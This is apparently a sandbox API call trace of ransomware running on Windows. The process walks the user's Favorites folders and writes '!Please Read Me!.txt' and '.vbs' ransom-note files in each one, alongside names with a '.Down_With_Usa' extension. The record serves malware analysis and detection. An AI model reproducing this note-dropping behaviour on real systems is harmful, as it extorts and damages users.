[0122.205] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.206] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.206] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0122.206] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1
[0122.206] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
[0122.207] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0
[0122.207] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x50
[0122.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d
[0122.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0122.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d
[0122.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x50
[0122.208] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0122.208] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0122.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0122.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x42
[0122.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0122.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0122.216] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x42
[0122.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0122.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0122.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.230] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a
[0122.230] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpFilePart=0x0) returned 0x3b
[0122.230] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.233] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.234] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
[0122.234] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
[0122.235] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1
[0122.235] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1
[0122.235] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1
[0122.235] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.236] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.237] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a
[0122.237] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpFilePart=0x0) returned 0x3b
[0122.238] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.239] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.239] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
[0122.240] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
[0122.240] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1
[0122.240] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1
[0122.241] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1
[0122.241] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0
[0122.241] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5d
[0122.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a
[0122.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0122.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a
[0122.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5d
[0122.243] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0122.243] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0122.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0122.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0122.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4f
[0122.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0122.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0122.252] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4f
[0122.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0122.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0122.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0122.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34
[0122.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpFilePart=0x0) returned 0x35
[0122.256] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.258] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.258] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
